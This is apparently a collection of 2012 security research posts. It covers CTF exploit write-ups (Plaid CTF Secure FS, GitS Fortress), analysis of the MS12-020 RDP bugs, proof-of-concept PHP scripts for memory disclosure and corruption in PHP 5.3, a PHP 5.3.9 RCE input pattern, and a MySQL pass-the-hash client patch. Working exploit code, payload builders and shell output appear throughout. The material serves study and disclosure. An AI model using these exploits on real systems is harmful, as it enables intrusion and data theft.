Plaid CTF 2012 - Secure FS

The binary file is stripped 64 bit PIE. If looking in .comment section, we can guess the executable was compiled on Debian 6. With the given libc, we can confirm the guess. The given libc matches the debian libc package version must be 2.11.3-2 (luckily I do not update this vm). So my solution (exploit) is only for Debian 6 with given libc.

Reversing

From strings command result, we see that the executable uses C++ STL. So many unknown functions are C++ STL code. Because executable was not compiled with optimization. We can write the code that use C++ STL and compile it. The assembly should be the same. From known C++ STL function, we know that the executable uses string, list, map. I write simple C++ code to use all these STL (template.cpp). I cannot make IDA FLAIR to build the signature on Linux x64 binary. So I write a script to map the C++ STL (mapstl.py).

$ g++ -o template template.cpp
$ objdump -C -d template > template.objdump.txt
$ objdump -C -d sfs > sfs.objdump.txt
$ python mapstr.py > map.txt

The result (map.txt) is not completed. Some function cannot be mapped. But with this result, reversing is much easier. Here is the reversing code (sfs.cpp sfs2.cpp).

Vulnerability

From code, I found only one bug in "ln" function. The FileData object is deleted if "linkname" is invalid path but File object is still point to it. So this is user-afer-free bug.

user@/$ create file xor a
Data: AAAABBBB
user@/$ cat file
    ####
user@/$ ln file /x/x
Invalid path.
user@/$ cat file
▒▒▒0
user@/$ ln file /x/x
Invalid path.
*** glibc detected *** ./sfs: double free or corruption (!prev): 0x00007f4432e8e1f0 ***
======= Backtrace: =========
...

From above output, this bug can be used for information disclosure. We can "cat" after deleting a file to read data from freed memory.

Exploitation

Because of ASLR and PIE, let start with information disclosure. If we "cat" a file after trigger a bug first time, we get the address in libc .bss section because it is the first large free chunk. So we get libc loaded address. Next, std::list is used in function. Its object is allocated on stack. If a next list is allocated on freed memory, we will see the stack address because there is a pointer that points back to object on stack.

Time to controlling rip. The obvious method is overwriting vftable in freed FileData. But there is no suitable object to replace the freed memory for controlling vftable. I thought about string buffer in std::string. It is possible but I do not want to dig into C++ STL. So I come up with allocating 2 consecutive FileData objects in heap like below.

+--------------------+--------------------+
|         b3         |         b4         |
+--------------------+--------------------+

I trigger a bug to delete "b3" and "b4". Next, doing some task to allocate some data on "b3". Then, creating a new file "evil" to allocate FileData on "b3" and "b4". So I can get heap layout on freed "b3" and "b4" like below.

+--------------------+--------------------+
|  any  |        evil        |    free    |
+--------------------+--------------------+

After getting above heap layout, I can use "edit" command on "evil" to modify vftable pointer of b4 FileData easily. To get this, just do following commands.

do_create(sk, "b1", "xor", "AAAA", "a"*4000)
do_create(sk, "b2", "xor", "BBBB", "a"*4000)
do_ln(sk, "b1", "/xx/yy") # create a hole to hold small data
do_create(sk, "b3", "xor", "CCCC"*100, "a"*4000)
do_create(sk, "b4", "xor", "DDDD"*100, "a"*4000)
do_create(sk, "b5", "xor", "EEEE"*100, "a"*4000)
do_ln(sk, "b3", "/xx/yy")
do_ln(sk, "b4", "/xx/yy")
# ... fill memory here ...
do_create(sk, "evil", "xor", "E", "a"*4000)

I also create one more file after "b4" (below) in order to get the address of controlled data (FileData object). If I create a file after creating "evil", a FileData object is not fit to "free" chunk but a File object does. So I can use "cat" command on "b4" to get the address of FileData object from File object in "free" chunk.

+--------------------+--------------------+--------------------+
|  any  |        evil        |    free    |         b5         |
+--------------------+--------------------+--------------------+

At this point, I can control rip and have controlled data. But I cannot find any gadget for pivoting rsp to controlled data.

We can modify FileData pointer in File object by "edit"ing "b4". So we can read data from any valid memory address. After modify "b5" File object, we might not be able to edit "b5" because vftable pointer might point to invalid vftable.

do_edit() receives input with getline() then calls encrypt() with vftable. Because I know the stack address, I can compute the saved rip address of getline(). I modify "b5" FileData pointer in File object to point to saved rip address minus 8. So getline() fills the input to its saved rip address and after. Now I control rip and rsp points to controlled data.

Then, I do a small ROP to call execv(). Finally, Pwned!. Here is my exploit (sfs_sol.py).

UPDATE:

I got reply from "@riczho"

@sleepya_ Nice writeup! You found a bug that I put in by mistake - it was supposed to be integer wraparound on the hard link count :-)

I forgot to reversing one block in do_ln(). So the bug was supposed to be triggered by doing hard link 256 times, then removing a file. It is still user-after-free on freed FileData object. The idea to exploit is still the same. Here is a updated reversed code (sfs2.cpp).

Understand MS12-020

I saw many misunderstanding about MS12-020 bug. Here is my quick explanation (hope it is clear). There are 2 bugs for this bulletin. One is RCE (CVE-2012-0002). Another one is DoS (CVE-2012-0152). I use the diff result from work of people in IRC (freenode#MS12-020) http://pastie.org/private/4egcqt9nucxnsiksudy5dw.

Understand User and Channel in RDP

The User and Channel words explain themselves. A client can create a user by sending "MCS Attach User Request" (see the sequence) to server. When creating a user, a server also create a channel for user. This channel is called "User Channel". The assigned user id is always the same as channel id. There is special user that created by sending "MCS Connect Initial" request with "Client Network Data". It is "Server User" that created along with "Server Channel".

Channels can be created by sending "MCS Connect Initial" request with "Client Network Data" or "MCS Channel Join Request" with channel id 0.

Now let see how a server keeps track of Users and Channels. There are global Channel list and global User list (SList) for each connection. For each channel, there is a list to keep joined users. Similar to user. For each user, there is a list to keep joined channels.

CVE-2012-0002

There are 2 specific advisories for this CVE, Luigi and ZDI. This bug occurs while adding channels (in NM_Connect()) specified in "Client Network Data". When a server cannot create more channel (by checking a number of channel in Channel list with MaximumChannelIds), the NMAbortConnect() is called. When look inside SM_OnConnected(), you will see NM_Disconnect() is called. Then NMDetachUserReq() is called twice. So this is use-after-free bug.

You can see Kostya's work of this bug from his blog (MS12-020 round up). Additional, the bug can be triggered even MaximumChannelIds > 32 by sending "Connect Initial" request and "Attach User" requests at once. Because userData in "Connect Initial" is dispatched to another thread for processing (my guess). The "Attach User" requests are processed first. So a number of channel is Channel list is not 0 before processing the "Client Network Data".

Now the idea to controlling EIP is doing remote memory spray on svchost process with RDP requests. The difficulty is all RDP request is handled directly in driver (kernel mode). Only some data is copied to user mode memory space. I still cannot do it. Need more free time.

CVE-2012-0152

There is only 1 advisory from Microsoft, this is a DoS bug. Many people guess the bug is in HandleAttachUserReq(). But I think it is in MCSChannelJoinRequest(). Here is my reason.

User Channel is supposed to be joined only by user owner. But the bug in MCSChannelJoinRequest() allow it. So the change is comparing request channel id against request user id instead of request channel id. This bug seems to have no problem at first. But when removing user (DetachUser()), the User Channel is destroyed too. If User does not join its own channel, the channel is destroyed without removing joined users.

To trigger the bug is simple. First we send 2 "Attach User" requests. So we have userA and userB with channelA and channelB. Then we send a "Channel Join" request for userA with channelB. If we manage to removing userB before userA, channelB is destroyed while joined channel list in userA still have channelB. Then removing userB will try to remove itself from destroyed channelB. Boom!!

This is also user-after-free bug. But I cannot find any interesting operation on freed channel. So I guess this is a DoS bug. Some useful for this bug is safe remote detecting the vulnerabilities on a target. Here is my code for checking.

Mini-PoC for PHP 5.3.9 RCE (CVE-2012-0830)

As topic said mini, it is mainly my idea (+some code) to exploit this bug. I still cannot do real code execution now. Looking at diff patch, it is obvious there is a bug when input is array and the number of input equals max_input_vars. Here is full vulnerable function. I will show only related code.

/* ... */
if (is_array) {
    while (1) {
        /* ... */
        if (zend_symtable_find(symtable1, escaped_index, index_len + 1, (void **) &gpc_element_p) == FAILURE // [1]
            || Z_TYPE_PP(gpc_element_p) != IS_ARRAY) { // [2]
            if (zend_hash_num_elements(symtable1) <= PG(max_input_vars)) { // [3]
                if (zend_hash_num_elements(symtable1) == PG(max_input_vars)) {
                    php_error_docref(NULL TSRMLS_CC, E_WARNING, "Input variables exceeded %ld. ...", PG(max_input_vars));
                }
                MAKE_STD_ZVAL(gpc_element);
                array_init(gpc_element);
            }
            zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p);
        }
        /* ... */
        symtable1 = Z_ARRVAL_PP(gpc_element_p); // [4]
        /* ... */
        goto plain;
    }
} else {
plain_var:
    MAKE_STD_ZVAL(gpc_element);
    gpc_element->value = val->value;
    Z_TYPE_P(gpc_element) = Z_TYPE_P(val);
    /* ... */
    if (zend_hash_num_elements(symtable1) <= PG(max_input_vars)) { // [5]
        if (zend_hash_num_elements(symtable1) == PG(max_input_vars)) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "Input variables exceeded %ld. ...", PG(max_input_vars));
        }
        zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p); // [6]
    } else {
        zval_ptr_dtor(&gpc_element);
    }
    /* ... */
}

At [3], if a number of elements in array equals max_input_vars, program still continues looping. When program reachs [4], the 'gpc_element_p' is treated as array (no type check). But it might not be array if the program did not go inside [3]. That is a problem.

When looking closely at [1] and [2], the code at [1] might find the element but it is not array. The element must be string because all input are treated as string or array. Also the element is our input that parsed before the max_input_vars condition met. Then At [4], our string is treated as array. So we can create fake HashTable. If our input name does not have more array nest, the PHP will go to [5]. Then inserting/updating input into fake array at [6].

To control EIP/RIP, there is 'pDestructor' in HashTable struct. If we can make PHP removing a element inside this HashTable, the program will jump to 'pDestructor' address. Easy??. All we need is 'arBuckets' must point to valid address that has NULL value (check _zend_hash_index_update_or_next_insert() in zend_hash.c).

Because PHP filter extension is enabled by default (compile option), the php_register_variable_ex() is called twice for each input but different array. So first time for filter array, the input is inserted into fake array. Then the array is updated and 'pDestructor' will be called. Below is input for controlling EIP/RIP.

1=&2=&3=&...&999=&0=<fake HashTable with valid arBuckets address>&0[0]=

Because of ASLR+NX(+PIE), just controlling EIP is useless. I need some info leak. Here is my result for 32 bit only (php_rce_poc.py) (I debugged the PHP with PHP-FPM).

First, there is some PHP page on server that has code like this.

<?php
echo $_POST['a']."\n";
for ($i = 0; $i < 8192; $i++)
    echo " "; // to make PHP flush the buffer output

When input is inserted into array, a HashTable will be updated. We can use this fact to leak a heap address. But the trigger input will be inserted for filter array first, so the input will be updated for $_POST array. This is bad because updating is modified only 'pDataPtr' in 'Bucket' struct.

What I did is creating fake HashTable, arBuckets, Bucket in an input instead of HashTable only. If I guess the address correctly, the 'pDataPtr' in fake Bucket will be updated. To increase the chance, I create multiple fake arBuckets and Buckets (see create_big_fake_array_search() in my code). When allocating big memory block, it is always allocated outside main heap (And address always ending with 0x018 on my box). After this brute forcing, I got the start address of fake data and a heap address of latest element.

Just a heap address is not enough for code execution. I need more. When looking updating data in array code (below), I found something interesting. If 'pData' does not point 'pDataPtr', 'pData' will be freed first.

#define UPDATE_DATA(ht, p, pData, nDataSize)           \
    if (nDataSize == sizeof(void*)) {                  \
        if ((p)->pData != &(p)->pDataPtr) {            \
            pefree_rel((p)->pData, (ht)->persistent);  \
        }                                              \
        memcpy(&(p)->pDataPtr, pData, sizeof(void *)); \
        (p)->pData = &(p)->pDataPtr;                   \
    }

If I set 'pData' in fake Bucket to the address of $_POST['a'] (zval struct). It will be freed. Then, I trick PHP to allocate craft string on that memory area. Finally, I can alter zval struct of $_POST['a'] to point to any address and the PHP code will echo the data in that memory area to me. But after altering the zval struct, the PHP will crash when clearing all variables. That's why I add the PHP code for flushing the output.

I can trick PHP to allocate on just freed memory area because in php_sapi_filter(), the estrndup() is called (at line 479) almost immediately after called php_register_variable_ex() (at line 461). With the Zend Memory Management Cache that I described a little in this post, all I need to do is using the trigger input value to be fake zval struct.

I still cannot find the way to know the exact address of $_POST['a']. I do brute forcing again. I know the heap address. It must be near. I test the result from dumping my fake HashTable. My method for brute forcing $_POST['a'] address is not reliable. Especially when PHP-FPM has many children.

Here is my output (code again php_rce_poc.py)

$ python php_rce_poc.py
Trying addr: b6c00018
Trying addr: b6c40018
Trying addr: b6c80018
Trying addr: b6cc0018
Trying addr: b6d00018
Trying addr: b6d40018
Trying addr: b6d80018
Trying addr: b6dc0018

Fake addr: b6dc0018
Heap addr: 08fe3180

Bruteforcing param_addr...
param addr: 08fe30a0
dumping memory at 0x08048000
⌂ELF☺☺☺         ☻ ♥ ☺   04

After able to dump any memory address + controlling EIP/RIP, it is highly possible to do code execution. That's it for me.

Update (5 Feb 2012): a little change on my code (php_rce_poc2.py).

• Increase the search fake chunk range to make it work on apache2/mod_php5
• Dump data at least 8192 bytes. So no need the PHP code for flushing output buffer.

GitS 2012 - 21 Fortress (Pwnable 500) Writeup

I cannot solve this challenge in time. The binary is 32 bit DSO. When I open it with IDA, the assembly is a mess. I could not understand the code. After doing some debugging, I figured something out.

Normally, the x86 uses ESP and EBP for stack pointer and frame pointer respectively. But this binary uses EBX for stack pointer and ECX for frame pointer. Another different is stack grow from lower address to higher address. So stack layer for this program looks like below.

+-----------+  low address
|   arg n   +             
+-----------+             
+    ...    +             
+-----------+             
+   arg 1   +             
+-----------+             
+ saved eip +             
+-----------+  <=== ecx   
+ saved ecx +             
+-----------+             
+           +             
+ local var +             
+           +  <=== ebx   
+-----------+ high address

Other important things are

• The program uses ESI register to keep the Entry Point address in memory.
• All saved eip and pointers to function are obfuscated. The XOR key is at ESI+4248h (or offset 434fh).
• The assembly for call function is similar to below

  lea     ebp, [esi+21Ch]  ; address to return after function
  lea     esp, [esi+4248h] ; get xor key
  xor     ebp, [esp]       ; obfuscate return address
  lea     ebx, [ebx+4]     ; shift ebx to save return address
  mov     [ebx], ebp       ; save return address
  

• The assembly for function prologue is similar to below

  lea     ebx, [ebx+4]  ; shift ebx to save prev frame pointer
  mov     [ebx], ecx    ; save ecx (prev frame pointer)
  mov     ecx, ebx      ; move frame pointer
  add     ebx, 10h      ; add stack pointer for local var
  

• The assembly for function epilogue is similar to below (do as leave; ret)

  lea     edi, [esi+4248h] ; get xor key address
  mov     ebp, [edi]       ; get xor key
  mov     ebx, ecx         ; restore stack pointer
  mov     ecx, [ebx]       ; restore frame pointer
  lea     ebx, [ebx-4]     ; remove saved frame pointer
  xor     ebp, [ebx]       ; deobfuscate saved eip
  lea     ebx, [ebx-4]     ; remove saved eip
  jmp     ebp              ; go to return addr
  

After known all above, I search for the functions with msfelfscan. Here is the result included the function name after I read assembly code (fortress_func_list.txt).

$ msfelfscan -I 0 -r "\x8d\x5b\x04\x89\x0b\x8b\xcb" fortress
[fortress]
...

Then I reverse the assembly (took me about 5 hours). Here is my C code (fortress.c). I found 2 vulnerabilities in put_property() function.

struct Property {
    char address[128]; // 0h
    char name[32];  // 80h
    void* fn_show_detail; // 0A0h
    int price; // 0A4h
    int sell_price: // 0A8h
    int footage; // 0ACh
    int num_bedroom; // 0B0h
    int num_bathroom; // 0B4h
    struct Property* prev; // 0B8h
    struct Property* next; // 0BCh
}; // size 0xc0

void put_property()
{
    /* ... */

    print_str("\nProperty name: ");
    read_len = read_until(buffer, 128, '\n');
    if (read_len > 32) {
        print_str("Name too long\n");
        free(prop);
        return;
    }
    buffer[read_len] = '\0';
    strncpy(prop->name, buffer, 32);  // [1] BUG: no null terminated

    print_str("Address line 1: ");
    read_len = read_until(buffer, 128, '\n');
    if (read_len >= 128) {
        print_str("Address too long\n");
        free(prop);
        return;
    }
    buffer[read_len] = '\n';
    print_str("Address line 2: ");
    data_len = read_len + 1;
    // [2] BUG: integer overflow if address1 length is 127. below len will be 127-128=-1
    read_len = read_until(buffer + data_len, 127 -  data_len, '\n');
    buffer[data_len + read_len] = '\n';
    strncpy(prop->address, buffer, 128);

    /* ... */
}

First vuln [1] can be used for leak memory address (fn_show_detail and prev). Second vuln [2] is buffer overflow. It can be used to overwrite saved eip of read_until() stack frame (the stack is grown to higher address). But we need to be careful the 'len' and 'size' arguments because the read_until() function uses value from argument. So to make Fortress a Segmentation Fault, we need to put "address 1" 127 characters and "address 2" 340 characters followed by new delimiter and big length. See below (Note: 'DDDD' overwrites the saved eip).

Address line 1: AAA... (127 chars)
Address line 2: AAA... (340 chars) ZtttBBBBCCCCDDDDZ
Segmentation fault

Exploitation

Because of ASLR and obfuscated address, we need to leak some info first. I use the first bug. Also I put 'price', 'footage', 'num_bedroom', 'num_bathroom' to has no \x00 in memory then sell it to make it prints 'prev' value (the Property struct address in heap) too. The 'fn_show_detail' value is obfuscated, so we can use it to create valid obfuscated address to binary (key^A^A^B = key^B).

To get the real XOR key, I tried to use printf() but it is limited. I cannot use '$' and non-overwritten area is very far. Then, I found something similar to 'ret' in normal code. It is last 3 instructions in function epilogue. To make it like 'pop; ret', use last 4 instructions.

lea     ebx, [ebx-4]     ; remove saved frame pointer
xor     ebp, [ebx]       ; deobfuscate saved eip
lea     ebx, [ebx-4]     ; remove saved eip
jmp     ebp              ; go to return addr

I used 'ret' and printf() to dump stack value from previous stack frame. And I let program jump to function epilogue after calling printf() to return controlling to program and overflow it again.
Note: The 'prop_addr' is address of Property struct in heap (leak from above). I put format string in there.

"""
LOAD:000001A1                 lea     ebx, [ebx-4]
LOAD:000001A4                 xor     edi, [ebx]
LOAD:000001A6                 lea     ebx, [ebx-4]
LOAD:000001A9                 jmp     edi

LOAD:000028D6                 lea     ebx, [ebx-4]
LOAD:000028D9                 xor     edi, [ebx]
LOAD:000028DB                 lea     ebx, [ebx-4]
LOAD:000028DE                 jmp     edi
"""
payload = ""
payload += pack("<I", prop_addr) # printf arg
payload += pack("<I", leaveret_addr^xor_key) # return control to program
payload += pack("<I", print_addr^0x1a1) # printf
payload += "\x00\x00\x00\x00"*80
payload += "\xfeAAA" # skipped (delim)
payload += pack("<I", 0x28d6^0x1a1) # need to be > 360 (length param)
payload += pack("<I", 0) # skipped
payload += pack("<I", 0x28d6 ^ xor_key)
payload += "\xfe"
payload = "A"*(357-len(payload)) + payload

# put property for leak image_load_addr and real_xor_key
send_and_recv_prompt(sk, "3\n") # put property
send_and_recv_prompt(sk, "2\n") # commercial
send_and_recv_prompt(sk, "1\n") # name
send_and_recv_prompt(sk, "A"*127+"\n") # addr1
data = send_and_recv_prompt(sk, payload) # addr2

Got the non-obfuscated address of string in binary :]. Now I can find image load address and real XOR key. After got all needed information, just do the same method as above. But call to mmap2() with RWX permission and read_until() instead of printf(). Finally jump to shellcode. Pwned!!!

Here is my exploit (fortress.py). It is not 100% work because the obfuscation might get bad char '\n'.

$ python fortress.py
xor_key = 56e45ea0
prop_addr = b78a7004
image_load_addr = b78cc000
real_xor_key = e1689ea0
uid=1001(fortress) gid=1001(fortress)

fortress
key

Information disclosure becomes the most wanted

PHP Array Interruption Bug due to call-time-pass-by-reference

I also reported this bug via e-mail a few months ago. Bug no fixed :[.

Affected versions: 5.3.x
This bug does not affect version 5.4 (and never) because call-time-pass-by-reference feature is removed.

Some PHP functions contain this bug. It can lead information leakeage and memory corruption (found only one). But most of them (what I can do now) can do only program crash.

Normally in PHP functions, the array is iterated with zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), zend_hash_move_forward() or zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), zend_hash_move_forward_ex() functions. If an array is passed by reference and a PHP function does something that can be interrupted such as calling convert_to_xxx_ex() function, the array elements might be altered and the pointers in PHP function might point to invalid data.

The pseudocode structure that has this problem is shown below.

zend_hash_internal_pointer_reset(input)
loop:
    zend_hash_get_current_data(input, entry)
    //...
    convert_to_xxx_ex(**entry)  // <== interruption is here
    //...
    zend_hash_move_forward(input)

Because zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), and zend_hash_move_forward() use internal pointer (pInternalPointer) for interation, the interruption can make only entry pointer point to invalid data. I can only make the program crash with this array iteration code.

zend_hash_internal_pointer_reset_ex(input, pos)
loop:
    zend_hash_get_current_data_ex(input, entry, pos)
    //...
    convert_to_xxx_ex(**entry)  // <== interruption is here
    //...
    zend_hash_move_forward_ex(input, pos)

While zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), and zend_hash_move_forward_ex() use external pointer ('pos' in above pseudocode) for interation, the interruption can make pos and entry pointers point to invalid data (manipulated data). Some of PHP function I can leak data from memory address or do memory corruption.

Below is PoC for dump memory at any address with implode() (32 bit only).

<?php
class dummy {
    public function __toString() {
        unset($GLOBALS['arr1'][0]);
        unset($GLOBALS['arr1'][1]);
        // dump memory at 0x08048000
        $GLOBALS['test1'] .= "\x00\x80\x04\x08\x10\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
        return '';
    }
}
$test1='';
$arr1 = array(new dummy, 1);
$data = implode(",", &$arr1);
var_dump($data);

Below is PoC for memory corruption with array_combine() (32 bit only).

<?php
class dummy {
    public function __toString() {
        unset($GLOBALS['arr2'][0]);
        $GLOBALS['test1'] .= "\x00\x00\x00\xff\xff\xff\x7f\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
        return '0';
    }
}
$test1="\x00";
$arr1 = array(new dummy);
$arr2 = array('dddddd');
$out = array_combine($arr1, &$arr2);
var_dump($out); // strlen of $out is 0x7fffffff

Here is the list of PHP functions that I found the problem.

====================================
=== zend_hash_get_current_data() ===
====================================
*** crash ***
- curl_setopt with CURLOPT_POSTFIELDS option
- setlocale
- preg_grep

=======================================
=== zend_hash_get_current_data_ex() ===
=======================================
*** crash ***
- imagesetstyle
- pcntl_sigwaitinfo
- curl_setopt_array

*** dump arbritary memory address ***
- file_put_contents
- fputcsv
- implode

*** memory corruption ***
- array_combine

Interruption in PHP substr_replace()

I reported this bug a few months ago (#55871). You can see simple PoC in test script in bug page. It has been fixed only in 5.4 branch. The main use of this bug is for post exploitation as discussed in Stefan Esser’s slide and paper. For anyone who does not know about internal PHP structures, please read them from the Stefan Esser's paper or slide first because I will not cover them here.

Affect Version: 5.3.x

First, I will explain as I did in test script. The code for substr_replace() is long. Here is the link to the vulnerable code string.c. Below I show only related part.

PHP_FUNCTION(substr_replace)
{
    // ...
    // if a parameter is an array, no conversion at the beginning of function
    // ...
    if (Z_TYPE_PP(str) != IS_ARRAY) {
        // ...
    } else { /* str is array of strings */
        // ...
        while (zend_hash_get_current_data_ex(Z_ARRVAL_PP(str), (void **) &tmp_str, &pos_str) == SUCCESS) {
            zval *orig_str;
            zval dummy;
            if(Z_TYPE_PP(tmp_str) != IS_STRING) {
                dummy = **tmp_str;
                orig_str = &dummy;
                zval_copy_ctor(orig_str);
                convert_to_string(orig_str);
            } else {
                orig_str = *tmp_str; // [1]
            }

            // get and check 'from' value to 'f' (convert_to_long if needed)
            // get and check 'len' value to 'l' (convert_to_long if needed)
            // ...
            if ((f + l) > Z_STRLEN_P(orig_str)) {
                l = Z_STRLEN_P(orig_str) - f;  // [2]
            }

            result_len = Z_STRLEN_P(orig_str) - l;

            if (Z_TYPE_PP(repl) == IS_ARRAY) {
                if (SUCCESS == zend_hash_get_current_data_ex(Z_ARRVAL_PP(repl), (void **) &tmp_repl, &pos_repl)) {
                    zval *repl_str;
                    zval zrepl;
                    if(Z_TYPE_PP(tmp_repl) != IS_STRING) {
                        zrepl = **tmp_repl;
                        repl_str = &zrepl;
                        zval_copy_ctor(repl_str);
                        convert_to_string(repl_str);  // [3] interruption
                    } else {
                        repl_str = *tmp_repl;
                    }

                    result_len += Z_STRLEN_P(repl_str);
                    zend_hash_move_forward_ex(Z_ARRVAL_PP(repl), &pos_repl);    
                    result = emalloc(result_len + 1);

                    memcpy(result, Z_STRVAL_P(orig_str), f);
                    memcpy((result + f), Z_STRVAL_P(repl_str), Z_STRLEN_P(repl_str));
                    memcpy((result + f + Z_STRLEN_P(repl_str)), Z_STRVAL_P(orig_str) + f + l, Z_STRLEN_P(orig_str) - f - l); // [4]
                    if(Z_TYPE_PP(tmp_repl) != IS_STRING) {
                        zval_dtor(repl_str);
                    }
                } else {
                    // ...
                }
            } else {
                // ...
            }

            result[result_len] = '\0';
            add_next_index_stringl(return_value, result, result_len, 0);
            if(Z_TYPE_PP(tmp_str) != IS_STRING) {
                zval_dtor(orig_str);  // [5]
            }
            zend_hash_move_forward_ex(Z_ARRVAL_PP(str), &pos_str);
        } /* while */
    } /* if */
}

At [1], if 'tmp_str' is string, the 'tmp_str' and 'orig_str' points to the same zval. After this point, the program assumes the 'orig_str' type is string.

At [3], if 'repl_str' is object, the convert_to_string() will call __toString() magic method. So if we pass the 'str' by reference with call-time-pass-by-reference feature or reference in array (see below), we can access/modify 'orig_str' value inside __toString().

At [5], because of interruption at [3], we can trick the program to free memory that variable has reference to it (use-after-free). Now look at first PoC.

<?php
class dummy {
    public function __toString() {
        //$GLOBALS['my_var'] += 0x08048000; // dump memory at 0x08048000
        //$GLOBALS['my_var'] .= 'AAAAAAAA'; // buffer overflow
        preg_match('//', '', $GLOBALS['my_var']); // dump HashTable data (and use-after-free in >=5.3.7)
        return '';
    }
}
$my_var = str_repeat('A', 40);
$out = substr_replace(array(&$my_var), array(new dummy), 40, 0);

To dump memory at any address, just convert $my_var to integer (see why in zval struct). If we append string to $my_var, memcpy() at [4] will cause buffer overflow because length of 'orig_str' is modified after 'result_len' is computed.

The most interesting case is when $my_var is converted to array. We will get that HashTable struct. Also (for version >=5.3.7), the array (HashTable, Bucket, array of pointer to Bucket) is freed. So after calling substr_replace(), we just need to allocate manipulated string on deleted HashTable, Buckets and array of pointer to Bucket. Then, create the fake zval with length 0x7fffffff. Finally, we can read/write to any memory address.

To make exploit reliable for use-after-free (with my method), we need to understand Zend Memory Management Cache a little. The code is in Zend/zend_alloc.c. The important functions are _zend_mm_alloc_int() and _zend_mm_free_int(), only code related small size block. Here is the brief.

1. When the efree() is called, the memory is not freed. But it is moved to free list cache.
2. There are array of singly linked list to keep freed memory block. Each linked list keeps the same memory block size.
3. When memory block is freed, it is moved to the head of linked list.
4. When memory block is allocated, it is gotten from the head of linked list if linked list is not empty.

The plan is trying allocate string size same as HashTable, Bucket, arBuckets until they are allocated on freed array. Then use address from substr_replace() output to recover everything. Here is the code for 32 bit without suhosin patch.

<?php
class dummyht {
    public function __toString() {
        preg_match('//', '', $GLOBALS['my_var']);
        return "";
    }
}

// hashtable and bucket size is 40
$h = "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH0HHHH";
// arBuckets size is 32
$b = "ararararararararararararararar";
$fake_ht = "\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00".str_repeat("\x00", 23);
$fake_bk = str_repeat("\x00", 38);
$fake_arb = "ararararararararararararar";
$junk = array(0=>'0',1=>'1',2=>'2',3=>'3',4=>'4',5=>'5',6=>'6',7=>'7');
$str_arr = array('ht'=>"\x08", 'arBks'=>"\x00", 'bk0'=>"\x00");
$my_var = str_repeat("A", 80);
$data = 0;
$data = substr_replace(array(&$my_var), array(new dummyht), 80, 0);
$junk[0] .= $h;
$junk[1] .= $h;
$junk[2] .= $h;
$junk[3] .= $h;
$junk[4] .= $h;
$str_arr['ht'] .= $fake_ht;
$str_arr['bk0'] .= $fake_bk;
$junk[5] .= $b;
$junk[6] .= $b;
$junk[7] .= $b;
$str_arr['arBks'] .= $fake_arb;
$ht = parse_hashtable($data[0]);
// repair hashtable
for ($i = 16; $i < 32; $i++) $str_arr['ht'][$i] = $data[0][$i];
for ($i = 36; $i < 39; $i++) $str_arr['ht'][$i] = $data[0][$i];
// repair arBuckets
for ($i = 0; $i < 4; $i++) $str_arr['arBks'][$i] = $data[0][$i+4*4];
for ($i = 4; $i < 4*7; $i++) $str_arr['arBks'][$i] = "\x00";

// create $fake_zval string in tail of arBuckets
$fake_zval  = pack("I", $ht['arBuckets'] & 0x80000000);
$fake_zval .= pack("I", 0x7fffffff);
$fake_zval .= pack("I", 1);
$fake_zval .= "\x06\x00";

for ($i = 0; $i < strlen($fake_zval); $i++)
    $str_arr['arBks'][$i+4*4] = $fake_zval[$i];

// repair first bucket
$sptr = pack("I", $ht['pListHead'] + 4*3);
for ($i = 0; $i < 4; $i++) $str_arr['bk0'][$i + 4*2] = $sptr[$i];
$sptr = pack("I", $ht['arBuckets'] + 4*4);
for ($i = 0; $i < 4; $i++) $str_arr['bk0'][$i + 4*3] = $sptr[$i];

$mem = &$my_var[0];

With Suhosin patch, the above method to dump memory and dump HashTable does not work. Because the patch always set str.len value to 0 when clearing the string variable. At [4], the copy length will be negative but it will cast to unsigned for memcpy(). The workaround for this problem is use [2]. I pass parameter len as object to cause the interruption before [2]. After convert_to_long(), the 'len' and Z_STRLEN_P(orig_str) are 0. At [2], 'l' will be 0. Fix the problem :]. Here is the PoC.

<?php
class dummy {}
function errhandler() {
    $GLOBALS['my_var'] = ''; // to make it work when no suhosin patch
    preg_match('//', '', $GLOBALS['my_var']);
    return true;
}
$my_var = str_repeat('A', 40);
$oldhandler = set_error_handler("errhandler");
$out = substr_replace(array(&$my_var), '', 40, array(new dummy));

MySQL 323 Hash Pass-the-hash

This is just a note. This is a known old problem. If a password hash of MySQL user is hashed with OLD_PASSWORD() function or is imported from very old version, the hash is equivalent to password. You do not need to crack a hash to login to MySQL.

Here is my patch for libmysql_r/password.c for MySQL version 5.1.55.

--- password.c.orig     2012-01-11 21:32:02.644042061 +0700
+++ password.c  2012-01-11 21:33:30.676109909 +0700
@@ -191,6 +191,7 @@ void scramble_323(char *to, const char *
     char extra, *to_start=to;
     const char *message_end= message + SCRAMBLE_LENGTH_323;
     hash_password(hash_pass,password, (uint) strlen(password));
+    if (strlen(password) == 16) sscanf(password, "%8lx%8lx", &hash_pass[0], &hash_pass[1]);
     hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
     randominit(&rand_st,hash_pass[0] ^ hash_message[0],
                hash_pass[1] ^ hash_message[1]);

Here the commands to build only client.

$ ./configure --without-server
$ make

Chroot PHP-FPM and Apache

As mentioned in "A Note on Security in PHP", the PHP security features (safe_mode, open_basedir, disable_functions) can be bypassed. The Stefan Esser’s paper also describe how to bypass the PHP security features. The better alternative for PHP security is chroot PHP-FPM.

With google, you can easily find how to configure PHP-FPM for nginx. But I want the setup for Apache httpd. I found only this two "Install Drupal in php-fpm (fastcgi) with Apache and a chroot php-fpm" and "The Perfect LAMP Stack – Apache2, FastCGI, PHP-FPM, APC". They explain very well for configuring fastcgi and PHP-FPM. But only first link describe about chroot PHP. The method to chroot is somewhat ugly. Why do I have to create a symlink?

After reading Apache and PHP doc, I found the options. We just need to set "doc_root" to a new web path after chrooted and "cgi.fix_pathinfo" to 0 in "php.ini". We can also set these options per PHP-FPM pool with "php_admin_value" directive.

---

